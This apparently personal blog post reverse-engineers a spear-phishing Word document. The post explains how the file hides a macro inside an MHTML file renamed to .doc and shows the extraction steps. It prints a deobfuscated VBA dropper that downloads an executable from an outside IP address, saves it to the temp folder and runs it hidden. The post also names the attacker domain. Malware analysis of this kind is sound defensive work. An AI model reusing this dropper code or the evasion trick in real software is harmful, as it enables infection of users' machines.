Reverse Engineering a Real World Malware

Feb 152016

Last week I was able to obtain a real world malware sample as used in a spear phishing campaign targeting an Austrian corporation. The unknown attacker targeted multiple people within the organisation using several different mail and attachment variants. All mails tried to trick the respective recipient into opening the attached Word document.

As I was interested in the actual malware I uploaded several variants to VirusTotal. The detection rate was very low ranging from none to only a few detections depending on the uploaded variation. This actually indicated a targeted attacked and further drew my attention.

Dynamic Analysis

For my detailed analysis I randomly picked the Word document Rechnung nr.XXXXX.doc (anonymised) with a SHA1 hash of 520df6b381b0738f464b21a3729f9afa4f61d79f. To get a rough understanding of the used attack vector(s) I opened the document in a secure virtualised environment while recording all executed actions. Thereby I learned that some kind of Office macro execution was triggered:

As I wanted to learn more about the behaviour of the malware I enabled macros and after a few seconds the following error showed up. Well, this does not look like the most robust malware…

Anyway, from my recordings I could actually tell what went wrong: The first thing I inspected was the output of Procmon. I immediately noticed that Word opened a HTTP connection to arvor.biz (83.220.171.223). Well, that’s strange…

Next I inspected my Wireshark log and found the corresponding TCP stream showing a failed HTTP GET request.

Based on the fact that no further actions have been recorded, one most likely can conclude that our Word document is a simple dropper: Its only task is to (silently) download and execute the next step of the attack. Nevertheless its simple task, I was still interested in how it works in detail.

Static Analysis

At first I opened the file in a hex editor and was surprised: It certainly did not look like a Word document but more like an EML file.

After some time I finally figured out that it is an MHTML file. Microsoft Word is able to save documents not only as .doc and .docx but also as Web Page (.htm) and as Single File Web Page (.mht).

Even if a .mht file is then renamed to .doc it still works. This is also exactly what we have here! The special thing about renamed .mht files is that they look (from their file extension) and feel (after opening them within Word) like a normal Word document but that they in reality are completely different. One such difference is their reported MIME type:

This example also shows why it is so difficult for a security product vendor to make a good solution: It is the edge case that matters (a lot!).

Malware Extraction

With the knowledge of the file format I finally could identify the following payload documents:

file:///C:/CF649EC6/fddsfdsf.htm: contains XML garbage
fdsfdsf: contains undecodable base64 garbage
sdfsdffff: contains plaintext garbage
file:///C:/CF649EC6/fddsfdsf.files/oJUGdsfcxz.mso: the actual base64 encoded container
file:///C:/CF649EC6/fddsfdsf.files/gFHjsdddd.xml: the .mht entry point – necessary to create a valid document. References the malicious oJUGdsfcxz.mso component so it gets executed

The actual malware could then be easily identified because of the .mso file extension: .mso files were used (long ago) to embed Word documents within mail messages. Checkpot!

However, to get the source of the malicious macro I first had to decode the base64 encoded .mso. To do so I saved it as malware.b64 and decoded it using the base64 command:

base64 -D malware.b64 >malware.activemime

After that I got a file with an ActiveMime file header:

With the help of the SANS article XML: A New Vector For An Old Trick I was able to identify a valid zlib header 78 9C at byte offset 50. Hence, I removed the first 50 bytes using my hex editor of choice Hex Friend and saved it as malware.zlib. To extract the containing CDF V2 Compound Documents I used the following command:

openssl zlib -d <malware.zlib >malware.cdf

To extract the therein encoded macro I then used olevba as follows:

olevba.py -a malware.cdf >analysis.txt

You can download the full results here.

Deobfuscation

To finally find out what the malware is doing in detail I had to deobfuscated the sourcecode. This manual process took me about half an hour and I managed to bring the number of lines from 370 down to less than 20:

Sub downloadMalware()
    Dim var_file_handle As Long
    Dim var_HTTP_response_body() As Byte
    Dim var_HTTP_request As Object
    var_textbox1_url = UserForm1.TextBox1 'http://83.220.171.223/wikipedia/upload.php
    var_Path_to_Temp_plus_Textbox2 = Environ(StrReverse("PMET")) & UserForm1.TextBox2 'yFUYIdsf.exe
    Set var_HTTP_request = CreateObject(StrReverse("1.5.tseuqerPTTHniW.PTTHniW"))
    var_HTTP_request.Open StrReverse("TEG"), var_textbox1_url, False
    var_HTTP_request.Send
    var_HTTP_response_body = var_HTTP_request.ResponseBody
    Set var_HTTP_request = Nothing
    var_file_handle = FreeFile
    Open var_Path_to_Temp_plus_Textbox2 For Binary Access Write As #var_file_handle
    Put #var_file_handle, 1, var_HTTP_response_body
    Close #var_file_handle
    var_shell_result = Shell(var_Path_to_Temp_plus_Textbox2, vbHide)
End Sub

Conclusion

Finally, we now know for sure that the malware simply tries to download an executable from http://83.220.171.223/wikipedia/upload.php to the machine’s temp folder as yFUYIdsf.exe. If the downloads succeeds, it then also launches it. In this case however, the server had already been taken down. This is also the reason why we got the error message during the dynamic analysis in the first place. Furthermore there is no error handing of any sort.

The more interesting thing about this dropper however is, that it abuses the .mht file format to evaded detection. What a great idea… It almost worked 😉

#bogner.sh